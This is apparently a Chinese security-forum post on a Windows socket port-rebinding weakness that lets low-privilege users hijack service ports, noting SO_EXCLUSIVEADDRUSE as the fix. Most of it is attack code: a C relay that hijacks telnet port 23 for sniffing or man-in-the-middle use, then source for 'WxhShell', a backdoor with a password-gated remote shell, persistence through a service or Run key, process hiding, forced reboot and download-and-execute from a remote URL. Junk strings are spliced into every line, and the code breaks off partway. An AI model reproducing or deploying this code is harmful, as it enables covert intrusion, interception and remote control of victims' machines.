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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wKi#5k2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *jhgCm  
=-Hhm($n  
  saddr.sin_family = AF_INET; iT&4;W=72~  
((`\i=-o5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N4;g"k b  
ez32k[eV!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m4~ |z  
-6J <{1V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FiMM-c|  
U+'zz#0qN  
  这意味着什么?意味着可以进行如下的攻击: .+S%hT,v6i  
j~Pw t9G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sDBSc:5+e  
`^/8dIya  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IT:WiMDQ}  
xGyl7$J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Psf'^42(v  
:q3w;B~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U;iCH  
Ws5N|g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MS#"TG/)  
Il4]1d|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y@v)kN)Y9\  
4z P"h0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KWDH 35  
@D-I@Cyl  
  #include cZ)JvU9]  
  #include i/*)1;xsk  
  #include G^ k8Or2  
  #include    ##''d||u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   , poc!n//  
  int main() |BM#rfQ  
  { 4A"nm6  
  WORD wVersionRequested; GU`q^q@Ea  
  DWORD ret; rb@[ Edj  
  WSADATA wsaData; >Z*b0j  
  BOOL val; OcMB)1uh\  
  SOCKADDR_IN saddr; U}:+Hz9  
  SOCKADDR_IN scaddr; j~Fd8]@  
  int err; h-"q <eY"  
  SOCKET s; Hd;NvNS  
  SOCKET sc; qbSI98r w  
  int caddsize; pHb,*C</  
  HANDLE mt; ;;i419  
  DWORD tid;   BZhf/{h[@  
  wVersionRequested = MAKEWORD( 2, 2 ); &a'mG=(K_c  
  err = WSAStartup( wVersionRequested, &wsaData ); *YH!L{y  
  if ( err != 0 ) { O7IYg;  
  printf("error!WSAStartup failed!\n"); >{(c\oMD  
  return -1; [mwqCW&  
  } %pWJ2J@  
  saddr.sin_family = AF_INET; =Bc{0p*  
   03)irq%l;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }@6yROy.  
PW%ith1)<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bA 0H  
  saddr.sin_port = htons(23); v -)<nox  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {?^ES*5  
  { > .}G[C  
  printf("error!socket failed!\n"); `K0.6i [p  
  return -1; #O~pf[[L  
  } 4J`-&05O  
  val = TRUE; Ux?G:LLz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2\.23  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `Ivt)T+n;  
  { a}` M[%d7  
  printf("error!setsockopt failed!\n");  :Kyr}-  
  return -1; 4MDVR/Z7  
  } RB*z."  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )IK%Dg(v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m,hqq%qz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 COW lsca  
jJYCGK$=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N1g;e?T ':  
  { ;7E"@b,tPN  
  ret=GetLastError(); $=>:pQbBVX  
  printf("error!bind failed!\n"); :-+][ [  
  return -1; ?5Z-w  
  } 8KP   
  listen(s,2); -KbO[b\V  
  while(1) |@b|Q,  
  { K4NzI9@  
  caddsize = sizeof(scaddr); O*/Utl  
  //接受连接请求  `m_f i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ](-[ I#  
  if(sc!=INVALID_SOCKET) n|=yw6aV'  
  { {hO|{vz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?JRfhJ:j  
  if(mt==NULL) N/0Q`cQ-  
  { "lA$;\&  
  printf("Thread Creat Failed!\n"); ,-$%>Uv   
  break; )('{q}JxV  
  } gi@&Mr)fS  
  } ou|3%&*"  
  CloseHandle(mt); [A!=Hv_$  
  } \n#l+R23  
  closesocket(s);  q _;#EV  
  WSACleanup(); aeLIs SEx  
  return 0; {[H#lX 4  
  }   ^CDh! )  
  DWORD WINAPI ClientThread(LPVOID lpParam) ONcS,oHW  
  { $:D L+E-}  
  SOCKET ss = (SOCKET)lpParam; 'i/"D8  
  SOCKET sc; 6NFLk+kqN  
  unsigned char buf[4096]; |])Ko08*tE  
  SOCKADDR_IN saddr; k8.,id  
  long num; qP%[ nY  
  DWORD val; }2?-kj7  
  DWORD ret; Tc;BE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -cXVkH{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V3pn@'pr  
  saddr.sin_family = AF_INET; ^dhtc% W>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #>$w9}gFi  
  saddr.sin_port = htons(23); 97 !VH> MX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W9SEYkg  
  { 6ozBU^n  
  printf("error!socket failed!\n"); {-5 b[m(  
  return -1; }W]k1Bsx  
  } v".u#G'u  
  val = 100; v[ y|E;B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <_Po/a!c3  
  { f9E.X\"  
  ret = GetLastError(); g!;Hv  
  return -1; >\!>CuU  
  } xF9PjnWF=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f['pHR%l2$  
  { A832z`  
  ret = GetLastError(); O~g0R6M6e  
  return -1; laFF/g;sRC  
  } )N&v. w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) POUD*(DqNK  
  { 9_S>G$9D  
  printf("error!socket connect failed!\n"); Ed~2Qr\65  
  closesocket(sc); lhV'Q]s@6  
  closesocket(ss); }NJ? .Y  
  return -1; d5B96;3  
  } F_Mi/pB^`9  
  while(1) v:] AS:  
  { VlFDMw.4.+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z,Tv8;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wms8z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'xp&)g L  
  num = recv(ss,buf,4096,0); n\y%5J+  
  if(num>0) R'r^v  
  send(sc,buf,num,0); ^t\AB)(8  
  else if(num==0) 7[ra#>e8'  
  break; !23#Bz7  
  num = recv(sc,buf,4096,0); APksY!  
  if(num>0) nMHs5'_y  
  send(ss,buf,num,0); (yel  
  else if(num==0) ]jS+ItL@  
  break; &Qdd\h#  
  } 9WuKW***  
  closesocket(ss); f&ym'S  
  closesocket(sc); VFMg$qv|_  
  return 0 ; ;0VE *  
  } "8 "7AoE  
M -df Gk  
)rs);Pl  
========================================================== B6b {hsO  
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下边附上一个代码,,WXhSHELL `jb?6;15  
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========================================================== xCV3HnZ  
G =+sW  
#include "stdafx.h" ~WJEH#  
i-E~ZfJ  
#include <stdio.h> bgm$<;`U  
#include <string.h> of ^N4  
#include <windows.h> Q[y75 [  
#include <winsock2.h> jn#  
#include <winsvc.h> h30~2]hH  
#include <urlmon.h> xXu/CGzG  
iCIu]6  
#pragma comment (lib, "Ws2_32.lib") a-,BBM8|  
#pragma comment (lib, "urlmon.lib")  wYS,|=y  
rK2*DuE  
#define MAX_USER   100 // 最大客户端连接数 fV_(P_C  
#define BUF_SOCK   200 // sock buffer .Tdl'y:..  
#define KEY_BUFF   255 // 输入 buffer #]|9aVrr  
TUiXE~8=  
#define REBOOT     0   // 重启 c)M_&?J!5  
#define SHUTDOWN   1   // 关机 d]k >7.  
/9WR>NUAO  
#define DEF_PORT   5000 // 监听端口 c|Nv^V*2  
lYeot8  
#define REG_LEN     16   // 注册表键长度 #uT-_L}s w  
#define SVC_LEN     80   // NT服务名长度 1k\1U  
W]n%$a  
// 从dll定义API gRKmfJ*u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UPPDs"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fdN-Zq@'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l0b Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ne.W-,X^cL  
bI=\n)sEz  
// wxhshell配置信息 Srz.-,2PF  
struct WSCFG { Vl?R?K=`~J  
  int ws_port;         // 监听端口 d;(L@9HHD  
  char ws_passstr[REG_LEN]; // 口令 V D.p"F(]  
  int ws_autoins;       // 安装标记, 1=yes 0=no I, .`w/I+  
  char ws_regname[REG_LEN]; // 注册表键名 O.1Z3~r-N  
  char ws_svcname[REG_LEN]; // 服务名 r%$-F2.p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \p.Byso,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NwuME/C7#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^gh/$my;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uyxU>yHV<g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5 8p_b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?ae:9ZcH  
wr8n*Du  
}; o 1#XM/Z  
RWXj)H)w  
// default Wxhshell configuration 'sY>(D*CQ  
struct WSCFG wscfg={DEF_PORT, kte Dh7  
    "xuhuanlingzhe", or ~o'  
    1, >RBq&'f  
    "Wxhshell", Z.:5< oEKg  
    "Wxhshell", IJ o`O  
            "WxhShell Service", T2} I,{U  
    "Wrsky Windows CmdShell Service", <Ky\ ^  
    "Please Input Your Password: ", _$wWKJy9  
  1,  #d*mG =  
  "http://www.wrsky.com/wxhshell.exe", _W]2~9  
  "Wxhshell.exe" i,S%:0c7)  
    }; iX.=8 ~3  
pt(GpbtWK  
// 消息定义模块 >;HbD p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Cr4shdN34  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }`IN5NdYp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -t?S:9 [w  
char *msg_ws_ext="\n\rExit."; +fAAkO*GP  
char *msg_ws_end="\n\rQuit."; 7l7eUy/z  
char *msg_ws_boot="\n\rReboot..."; H<%7aOwO2  
char *msg_ws_poff="\n\rShutdown..."; iyu%o9_0  
char *msg_ws_down="\n\rSave to "; CTR|b}!  
>?b/_O  
char *msg_ws_err="\n\rErr!"; h^~eTi;c]Q  
char *msg_ws_ok="\n\rOK!"; *A GC[w}/  
}9:\#  
char ExeFile[MAX_PATH]; mv SNKS  
int nUser = 0; !o:RIwS3  
HANDLE handles[MAX_USER]; sryujb.,  
int OsIsNt; p."pI Bd  
.+ai dWd  
SERVICE_STATUS       serviceStatus; 15 uVvp/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 11X-X  
y= cBpC  
// 函数声明 6O$OM  
int Install(void); -YA1Uk  
int Uninstall(void); X  LA  
int DownloadFile(char *sURL, SOCKET wsh); N~\1yQT  
int Boot(int flag); 5^GUuFt5m  
void HideProc(void); ^%#v AS  
int GetOsVer(void); %=S^{A  
int Wxhshell(SOCKET wsl); #R305  
void TalkWithClient(void *cs); \ zhT1#O  
int CmdShell(SOCKET sock); n9t8RcJS:  
int StartFromService(void); @w,-T@nAW  
int StartWxhshell(LPSTR lpCmdLine); 26 o68U8&y  
uzho>p[ae  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BA A)IQF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I#Iu:,OT  
Z\(+awv  
// 数据结构和表定义 ~6kEpa  
SERVICE_TABLE_ENTRY DispatchTable[] = Z)62/`C)  
{ %OfaBv&  
{wscfg.ws_svcname, NTServiceMain}, ?%;7k'0"  
{NULL, NULL} 9"=:\PE  
}; PM7*@~.  
RA>xol~xy  
// 自我安装 f@[q# }6  
int Install(void) >Ah [uM  
{ BGLJ>zkq  
  char svExeFile[MAX_PATH]; 3PpycJ}  
  HKEY key; MHI0>QsI  
  strcpy(svExeFile,ExeFile); Xv]O1fcI  
g>/,},jv[x  
// 如果是win9x系统,修改注册表设为自启动 y''`73U"  
if(!OsIsNt) { "CT'^d+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]hS4'9lD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `L]cJ0tAs  
  RegCloseKey(key); #)GL%{Oa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $;@^coz9U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J6n@|L!yO  
  RegCloseKey(key); vbmi_[,U  
  return 0; -% 5*c61  
    } 9,`WQ+OI  
  } c,!Ijn\;(  
} (05/}PhB`  
else { pLDseEr<  
HP:ee+n  
// 如果是NT以上系统,安装为系统服务 P`@d8 %*;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t}c ymX~  
if (schSCManager!=0) Eu l,1yR  
{ rNO'0Ck=  
  SC_HANDLE schService = CreateService ">v76%>Z7  
  ( |XtN\9V.  
  schSCManager, DJS0;!# |O  
  wscfg.ws_svcname, W[AX?  
  wscfg.ws_svcdisp, #:3ca] k  
  SERVICE_ALL_ACCESS, Y]Vt&*{JV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [v^T]L  
  SERVICE_AUTO_START, B~D{p t3y  
  SERVICE_ERROR_NORMAL, GXr9J rs.e  
  svExeFile, E<:XHjm  
  NULL, Q0#oR [(  
  NULL, eY-W5TgU  
  NULL, g1@zk $  
  NULL, SGXXv  
  NULL ]e$mTRi*  
  ); %\6|fKB4 <  
  if (schService!=0) hxP%m4xF +  
  { 07[A&B!  
  CloseServiceHandle(schService); yAy~|1}  
  CloseServiceHandle(schSCManager); lG I1LUo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); + 0{m(%i  
  strcat(svExeFile,wscfg.ws_svcname); zflq|dW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 64%P}On  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q6bi{L@/R  
  RegCloseKey(key); 0M7Or)qN  
  return 0; 3k.{gAZKh  
    } [<\k  
  } Dt%G v0  
  CloseServiceHandle(schSCManager); 'W(+rTFf!  
} .vE=527g)  
} {F6>XuS=u  
0x7F~%%2  
return 1; pM],-7UM  
} IppzQ0'=y1  
8n+&tBq1  
// 自我卸载 Zyt,D|eWj  
int Uninstall(void) K1>X%f^  
{ S96H`kedZo  
  HKEY key; e/Wrm^]y  
4QC"|<9R  
if(!OsIsNt) { AFE6@/'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !~Gx@Ro  
  RegDeleteValue(key,wscfg.ws_regname); )hs"P%Zg  
  RegCloseKey(key); 'n4Ro|kA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ x_.  
  RegDeleteValue(key,wscfg.ws_regname); h sG~xRA\  
  RegCloseKey(key); r<VZE bm)  
  return 0; w^OV;gp  
  } 8,B?!%FP  
} Fa<>2KkOr  
} i[_ (0P+Da  
else { ~e*3_l>9  
/kV3[Rw+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'NJGez'b ,  
if (schSCManager!=0) .c__<I<G<  
{ ~puXZCatN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KYE)#<V}@  
  if (schService!=0) aF*KY<w  
  { 8Na.H::cZ  
  if(DeleteService(schService)!=0) { \WS2g"(  
  CloseServiceHandle(schService); nhV\<  
  CloseServiceHandle(schSCManager); wcr3ugvT  
  return 0; 21NGsG  
  } :rxS &5  
  CloseServiceHandle(schService); I(^pIe-  
  } A*+pGQ  
  CloseServiceHandle(schSCManager); ?,s]5   
} F1_s%&  
} di.yh3N$  
}9:( l  
return 1; 44Dytpvg  
} I=aoP}_  
ga?:k,xv  
// 从指定url下载文件 &10l80vj  
int DownloadFile(char *sURL, SOCKET wsh) F/pq9  
{ rU6F$I=  
  HRESULT hr; SEfRU`  
char seps[]= "/"; x,wXR=H  
char *token; PP*6nW8  
char *file; 7 bV(eV  
char myURL[MAX_PATH]; 5Zf^cou  
char myFILE[MAX_PATH]; bG0 |+k3O  
Zv]'9,cbk  
strcpy(myURL,sURL); oW}nr<G{<  
  token=strtok(myURL,seps); v~8Cp C  
  while(token!=NULL) vYFtw L`  
  { 5!QT }Um  
    file=token; [T |P|\M  
  token=strtok(NULL,seps); q ~%'V  
  } }b5omHUE%  
^VC /tJ  
GetCurrentDirectory(MAX_PATH,myFILE); }VU^ 8D  
strcat(myFILE, "\\"); ai7R@~O:_k  
strcat(myFILE, file); DC samOA~  
  send(wsh,myFILE,strlen(myFILE),0); mXYG^}  
send(wsh,"...",3,0); D`|8Og  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1Clid\T,o  
  if(hr==S_OK) W [*Go  
return 0; -F. c<@*E  
else >jU25"XI[  
return 1; zif&;)wV/  
nND; lVQSO  
} s.X .SJ  
b(IZ:ekZ5  
// 系统电源模块 LR "=(  
int Boot(int flag) v9\U2j  
{ M(^_/ 1Z  
  HANDLE hToken; #<LJns\t   
  TOKEN_PRIVILEGES tkp; tk)J E^'  
,i jB3J  
  if(OsIsNt) { KqN;a i,F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xfF;u9$;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `fuQ t4  
    tkp.PrivilegeCount = 1; _/czH<   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?8w5tfN6t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0 <E2^  
if(flag==REBOOT) { ZEp>~dn;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "{S6iH)]8  
  return 0; GlHP`&;UH  
} \.aKxj5  
else { /F$E)qN7n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iT;Ld $!{f  
  return 0; 85f:!p  
} Vx}e,(i  
  } J(G-c5&=  
  else { dB)-qL8,2  
if(flag==REBOOT) { :GN++\ 1pw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e-Oz`qW~  
  return 0; nC%<BatQ  
} ]K3bDU~  
else { n0LNAhM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  y!dw{Lz  
  return 0; W}y)vrL  
} cyLl,OA  
} Qgf\"s  
\11+~  
return 1; `g_r<EY8/  
} [dR#!"6t  
aNn4j_V(  
// win9x进程隐藏模块 0~z`>#W,  
void HideProc(void) jo?[M  
{ gAh#H ?MM  
op@=0d??  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (&1.!R[X  
  if ( hKernel != NULL ) 0K6My4d{  
  { Yi]`"\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `rXb:P7m{j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k+%&dEE|vH  
    FreeLibrary(hKernel); c^O&A\+;  
  } ,>01Cs=t8  
vsyg u  
return; |VzXcV-"8)  
} [!>9K}z,=  
LXWI'nxV  
// 获取操作系统版本 L }3eZ-  
int GetOsVer(void) @ze2'56F}  
{ 6O/c%1VHA3  
  OSVERSIONINFO winfo; qe'ssX;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5]GgjQ  
  GetVersionEx(&winfo); "G-h8IN^O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6:L2oW 6}{  
  return 1; Vhh=GJ  
  else ?:M4GY" gV  
  return 0; SSxz1y  
} ar\ K8mj  
ZDAW>H<  
// 客户端句柄模块 9J~\.:jH-  
int Wxhshell(SOCKET wsl) BVj(Q}f8  
{ )#8g<]q  
  SOCKET wsh; $5/d?q-ts{  
  struct sockaddr_in client; 6-uLK'E  
  DWORD myID; &PH:J*?C}  
ZjMnGRP  
  while(nUser<MAX_USER) UX[s5#  
{ Cl9rJ oT  
  int nSize=sizeof(client); |:&O!36  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \K~wsu/?`  
  if(wsh==INVALID_SOCKET) return 1; _9t1 aP5  
5 2 Qr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7H?xp_D  
if(handles[nUser]==0) TTFs|T6`q  
  closesocket(wsh); jDqG9]  
else P$0c{B4I  
  nUser++; hdi0YL  
  }  T&MhSJf#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HzKY2F(,  
p}h.2)PO  
  return 0; [FrLxU  
} [>r0 (x&.  
+-(,'slov  
// 关闭 socket ;3wO1'=  
void CloseIt(SOCKET wsh) nw% 9Qw  
{ b}ya9tCl;  
closesocket(wsh); 7n.Oem  
nUser--; *Cf!p\7!  
ExitThread(0); 7(X z%v   
} }mK,Bi?bj  
{+7FBdxVB  
// 客户端请求句柄 P_NF;v5 v  
void TalkWithClient(void *cs) 2nC,1%kxhq  
{ GVJ||0D  
tE {M  
  SOCKET wsh=(SOCKET)cs; Xpn\TD<_I  
  char pwd[SVC_LEN]; <=&$+3r  
  char cmd[KEY_BUFF]; +x}9a~QG#  
char chr[1]; 2vLun   
int i,j; 9$z$yGjl  
D?"P\b[/  
  while (nUser < MAX_USER) { ltDohm?  
t1o 6;r K  
if(wscfg.ws_passstr) { uO eal^uS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >@Ht*h{~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '!`\!=j-`  
  //ZeroMemory(pwd,KEY_BUFF); ) c\Y!vS  
      i=0; oV0 45G  
  while(i<SVC_LEN) { ls:oC},p*  
gee~>l  
  // 设置超时 ERIMz ,  
  fd_set FdRead; Z;81 "   
  struct timeval TimeOut; `3i>e<m~  
  FD_ZERO(&FdRead); w/ rQOHV{  
  FD_SET(wsh,&FdRead); F[Mwd &P@  
  TimeOut.tv_sec=8; @QVg5  
  TimeOut.tv_usec=0; f%@~|:G:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r4X}U|s!0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o4WQA"VxM  
./k7""4   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =X7kADRq  
  pwd=chr[0]; >x;\H(g  
  if(chr[0]==0xd || chr[0]==0xa) { mLZ1u\ 7W  
  pwd=0; ^ZQMRNP{r  
  break; O8$~dzf,2  
  } CL1*pL  
  i++; 8R3{YJ6@T  
    } sb{K%xi%  
}u O YF  
  // 如果是非法用户,关闭 socket * &:_Vgu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W<pr Y  
} }^Q:Q\  
uW!XzX['  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oc( '!c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D/."0 #q  
H)D|lt5xy  
while(1) { J@I>m N1\  
~h3G}EH  
  ZeroMemory(cmd,KEY_BUFF); [cd1Mf:[Y  
rV%T+!n%c  
      // 自动支持客户端 telnet标准   6(`N!]e*L  
  j=0; Cj8&wz}ez  
  while(j<KEY_BUFF) { (V6bX]<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >[;@ [4}  
  cmd[j]=chr[0]; k9rws  
  if(chr[0]==0xa || chr[0]==0xd) { K/ On|C  
  cmd[j]=0; |z=`Ur@)  
  break; e`qrafa  
  } !t23 _b0  
  j++; /Pg)7Zn  
    } gA(npsUHI  
<x^$Fu  
  // 下载文件 H<_Tn$<zH.  
  if(strstr(cmd,"http://")) { V@`b7GM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J.1 c,@  
  if(DownloadFile(cmd,wsh)) >6 o <Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _:m70%i  
  else Dz~0(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k-|g  
  } CXrOb+  
  else { pKc!sd C  
Og7yT{h_  
    switch(cmd[0]) { $?PI>9g!  
  jum"T\  
  // 帮助 o&1mX  
  case '?': { lz0-5z+\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <\^o  
    break; I3nE]OcW@  
  } 5?>4I"ne  
  // 安装 ]%6%rq%9C  
  case 'i': { f 3H uT=n  
    if(Install()) r*`e%`HU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 7~Pc  
    else .jQx2 O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %]LoR$|Y  
    break; ]20:8l'  
    }  ImhkU%  
  // 卸载 fS4foMI63)  
  case 'r': { kC.dJ2^j+  
    if(Uninstall()) *1dZs~_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1-p#}VX  
    else 1 Gr^,Ry  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ([q>.[WbH]  
    break; QfEJU8/5d  
    } jI8`trD  
  // 显示 wxhshell 所在路径 @H?OHpJ"`  
  case 'p': { #!Cg$6%x9  
    char svExeFile[MAX_PATH]; F\JS?zt2  
    strcpy(svExeFile,"\n\r"); O<s7VHj  
      strcat(svExeFile,ExeFile); _|C3\x1c  
        send(wsh,svExeFile,strlen(svExeFile),0); epnZGz,A  
    break; ELwXp|L  
    } HMUx/M.j  
  // 重启 wetu.aMp  
  case 'b': { 961&rR}d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L8D=F7  
    if(Boot(REBOOT)) C,W@C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jzf+"%lv  
    else { ']2Vf] dB  
    closesocket(wsh); @-)S*+8  
    ExitThread(0); ia\Gmh  
    } #6@hVR.  
    break; z\tY A  
    } 7{U[cG+a#  
  // 关机 TE&E f$h  
  case 'd': { s&ox%L4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i%133in  
    if(Boot(SHUTDOWN)) ',hoe  
